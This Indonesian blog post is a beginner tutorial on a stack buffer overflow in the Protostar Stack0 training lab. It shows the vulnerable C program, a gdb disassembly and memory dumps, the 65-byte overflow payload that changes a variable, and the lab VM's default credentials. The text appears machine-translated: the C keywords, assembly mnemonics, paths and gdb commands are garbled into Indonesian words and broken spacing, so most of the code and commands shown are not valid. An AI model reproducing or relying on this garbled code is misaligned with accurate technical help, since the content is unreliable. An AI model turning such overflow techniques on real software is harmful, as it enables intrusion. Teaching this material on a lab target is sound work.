Binary Exploitation DragonBlood

 


Binary Exploitation

oke gais masih dengan CaD3L disini nah sekarang urang mau ngasih materi nih gais tentang yaitu adalah Binary Exploitation nah jadi seperti biasa musik ada di bawah dan selamat belajar dan cekicrottttttttttt

 Tertarik dengan eksploitasi biner?  Maka selamat datang di panduan pemula yang sangat rinci dan pengantar untuk membantu Anda memulai perjalanan Anda dalam eksploitasi biner!


 Protobintang dari Latihan Eksploitasi memperkenalkan masalah kerusakan memori dasar seperti buffer overflows, string format, dan eksploitasi heap di bawah sistem Linux "gaya lama" yang tidak mengaktifkan sistem mitigasi eksploitasi modern apa pun.

Setelah itu kita bisa beralih ke latihan yang lebih sulit.  Mari kita mulai dengan Stack0.

Pertama-tama, kami mengambil kode dari Stack0:



 #include <stdlib.h>

 #include <unistd.h>

 #include <stdio.h>


 int main (int argc, char ** argv)

 {

   volatile int dimodifikasi;

   penyangga char [64];


   dimodifikasi = 0;

   mendapat (buffer);


   jika (dimodifikasi! = 0) {

       printf ("Anda telah mengubah variabel 'diubah' \ n");

   } lain {

       printf ("Coba lagi? \ n");

   }

 } 

Jika kalian sudah familiar dengan dasar-dasar C, Anda dapat melewati bagian ini di sini.

Yok kita uraiin Code di atas Yokkkk

 Pada tiga baris pertama kita bisa melihat beberapa file header.  Seperti yang dikatakan tutorialspoint:

 File header adalah file dengan ekstensi .h yang berisi deklarasi fungsi C dan definisi makro untuk dibagikan di antara beberapa file sumber.  Ada dua jenis file header: file yang ditulis oleh programmer dan file yang disertakan dengan kompiler Anda.


 argc adalah singkatan dari "Argument Count".  Jumlah parameter akan disimpan di parameter argc.  Mari kita lakukan contoh:



 #include <stdio.h>


 int main (int argc, char * argv []) {


 printf ("argc =% d \ n", argc);

 kembali 0;

 }

 Jika sekarang kita mengkompilasi program ini dengan gcc PROGRAM.c -o mengkompilasi dan menjalankannya dengan dua argumen (seperti ./compiled WOW) maka seharusnya kita mengembalikan argc = 2, karena kita memasukkan dua hal.


Lanjutan

Eksploitasi

 Pertama-tama kita perlu mengunduh gambar-Protobintang.  Kemudian kita bisa masuk ke mesin itu dengan ssh.  Nama pengguna: pengguna / Kata sandi: pengguna.


$ ssh pengguna@192.168.0.55



     PPPP RRRR OOO TTTTT OOO SSSS TTTTT A RRRR

     P P R R O O T O O S T A A R R

     PPPP RRRR O O T O O SSS T AAAAA RRRR

     P R R O O T O O S T A A R R

     P R R OOO T OOO SSSS T A A R R


     http://exploit-exercises.com/protostar

Selamat datang di Protostar.  Untuk masuk, Anda dapat menggunakan akun pengguna / pengguna.

 Saat Anda perlu menggunakan akun root, Anda dapat masuk sebagai root / godmode.


 Untuk deskripsi level / bantuan lebih lanjut, silakan lihat url di atas.
Program yang disertakan dengan sistem Debian GNU / Linux adalah perangkat lunak bebas;

 istilah distribusi yang tepat untuk setiap program dijelaskan di

 file individual di /usr/share/doc/*/ copyright.


 Debian GNU / Linux hadir dengan BENAR-BENAR TANPA JAMINAN, sejauh ini

 diizinkan oleh hukum yang berlaku.

 Terakhir masuk: Sen 17 Sep 13:38:12 2018 dari 192.168.0.54

 $

 File kami terletak di / opt / protostar / bin.  Ayo jalankan sekali:


 

pengguna@protostar: ~ $ / opt / protostar / bin / stack0

 AAAA

 Coba lagi?


 Kode tersebut melompat ke pernyataan lain dan mencetak "Coba lagi?".  Tujuan utama kami adalah untuk memodifikasi variabel yang dimodifikasi dan mendapatkan output: "Anda telah mengubah variabel 'diubah'".


 Sekarang mari buka stack0 di gdb dengan: gdb /opt/protostar/bin/stack0.


 
pengguna@protostar: ~ $ gdb /opt/protostar/bin/stack0

 Membaca simbol dari /opt/protostar/bin/stack0...done.



 (gdb)



Lanjutan


Sekarang kita dapat membongkar fungsi utama:


 (gdb) bongkar main

 Buang kode assembler untuk fungsi utama:



0x080483f4 <main + 0>: dorong ebp

 0x080483f5 <main + 1>: mov ebp, esp

 0x080483f7 <main + 3>: dan esp, 0xfffffff0

 0x080483fa <main + 6>: sub esp, 0x60

 0x080483fd <main + 9>: mov DWORD PTR [esp + 0x5c], 0x0

 0x08048405 <main + 17>: lea eax, [esp + 0x1c]

 0x08048409 <main + 21>: mov DWORD PTR [esp], eax

 0x0804840c <main + 24>: hubungi 0x804830c <gets @ plt>

 0x08048411 <main + 29>: mov eax, DWORD PTR [esp + 0x5c]

 0x08048415 <main + 33>: test eax, eax

 0x08048417 <main + 35>: je 0x8048427 <main + 51>

 0x08048419 <main + 37>: mov DWORD PTR [esp], 0x8048500

 0x08048420 <main + 44>: call 0x804832c <put @ plt>

 0x08048425 <main + 49>: jmp 0x8048433 <main + 63>

 0x08048427 <main + 51>: mov DWORD PTR [esp], 0x8048529

 0x0804842e <main + 58>: call 0x804832c <put @ plt>

 0x08048433 <main + 63>: pergi

 0x08048434 <main + 64>: ret


 Empat baris pertama pembongkaran tidak terlalu menarik.


 Baris pertama yang menarik adalah baris kelima.  Baris ini memindahkan nilai 0x0 ke alamat memori $esp + 0x5c

 0x080483fd <main + 9>: mov DWORD PTR [esp + 0x5c], 0x0


 Ini adalah variabel yang dimodifikasi karena alamat memori tersebut diperiksa di kemudian hari untuk melihat apakah itu disetel ke 0 menggunakan tes $eax, $eax.


 Beberapa baris berikutnya mengatakan bahwa buffer array dimulai pada alamat memori $esp + 0x1c.



Lanjutan


0x08048405 <main + 17>: lea 0x1c (% esp),% eax

 0x08048409 <main + 21>: mov% eax, (% esp)

 0x0804840c <main + 24>: hubungi 0x804830c <gets @ plt>

 Mengingat bahwa 0x5c - 0x1c adalah 64 byte, kita melihat bahwa buffer dan modifikasi dialokasikan tepat di samping satu sama lain di stack.


 Kita dapat memodifikasi variabel yang dimodifikasi dengan menulis melewati ruang yang dialokasikan untuk buffer.  Yang disebut buffer overflow.  Kami menetapkan breakpoint di * 0x080483fd, karena di sana variabel yang dimodifikasi disetel ke 0.

(gdb) break * 0x80483fd



 Breakpoint 1 di 0x80483fd: file stack0 / stack0.c, baris 10.

 Sekarang mari kita jalankan programnya.



(gdb) r

 Memulai program: / opt / protostar / bin / stack0


 Breakpoint 1, main (argc = 1, argv = 0xbffffd64) di stack0 / stack0.c: 10

 10 stack0 / stack0.c: File atau direktori tersebut tidak ada.

   di stack0 / stack0.c

 (gdb) selanjutnya

 11 dalam stack0 / stack0.c

 (gdb) selanjutnya

 AAAAAAAAAAAAAAAAAAAAAAAA

 13 dalam stack0 / stack0.c

Jika Anda telah mengetik dua kali berikutnya program menunggu masukan, jadi kami mengetikkan beberapa huruf kapital A.


 Variabel disimpan dalam tumpukan.  Artinya, sekarang kami dapat melihatnya.  Untuk melakukannya, kita dapat menggunakan perintah ini x /40x $ esp.  Mari kita analisis.  Huruf x artinya output yang akan di print dalam format hexadecimal, 40 adalah jumlah elemen yang ingin kita print dan $esp adalah nama register yang ingin kita gunakan.



(gdb) x / 40xw $ esp



 0xbffff770: 0xbffff78c 0x00000001 0xb7fff8f8 0xb7f0186e


 0xbffff780: 0xb7fd7ff4 0xb7ec6165 0xbffff798 0x41414141


 0xbffff790: 0x41414141 0x41414141 0x414141 0x080482e8


 0xbffff7a0: 0xb7ff1040 0x08049620 0xbffff7d8 0x08048469


 0xbffff7b0: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7d8


 0xbffff7c0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000


 0xbffff7d0: 0x08048450 0x00000000 0xbffff858 0xb7eadc76


 0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848


 0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b


 0xbffff800: 0x00000001 0xbffff840 0xb7ff0626 0xb7fffab0

 Lihat banyaknya angka 0x41 yang disimpan di memori.  41 adalah heksadesimal dan memiliki nilai A. Kita juga dapat melihat nilai 0x00, yang berarti ada variabel modifikasi yang sedang disimpan.


Lanjutan (Akhir)

Mari mencapai variabelnya!

 Jadi, satu blok 0x41414141 menyimpan 4 A.  Ada 16 blok.  4 * 16 adalah 64. + 1 untuk menulis ke variabel yang dimodifikasi.  Ayo lakukan itu:


 

pengguna@protostar: echo `python -c" print 'A' * 65 "` |  /opt/protostar/bin/stack0


 Anda telah mengubah variabel 'diubah'

 Dan kami telah mengubah variabel kami!


 Dengan python kita cukup mencetak huruf 65 A dan menyalurkannya ke biner kita.  Secara visual akan terlihat seperti ini:



0xbffff770: 0xbffff78c 0x00000001 0xb7fff8f8 0xb7f0186e


 0xbffff780: 0xb7fd7ff4 0xb7ec6165 0xbffff798 0x41414141


 0xbffff790: 0x41414141 0x41414141 0x414141 0x41414141


 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141


 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x41414141


 0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x00000041


 0xbffff7d0: 0x08048450 0x00000000 0xbffff858 0xb7eadc76


 0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848


 0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b


 0xbffff800: 0x00000001 0xbffff840 0xb7ff0626 0xb7fffab0

 

Sekian Semoga Bermanfaat.

Posting Komentar

Post a Comment (0)

Lebih baru Lebih lama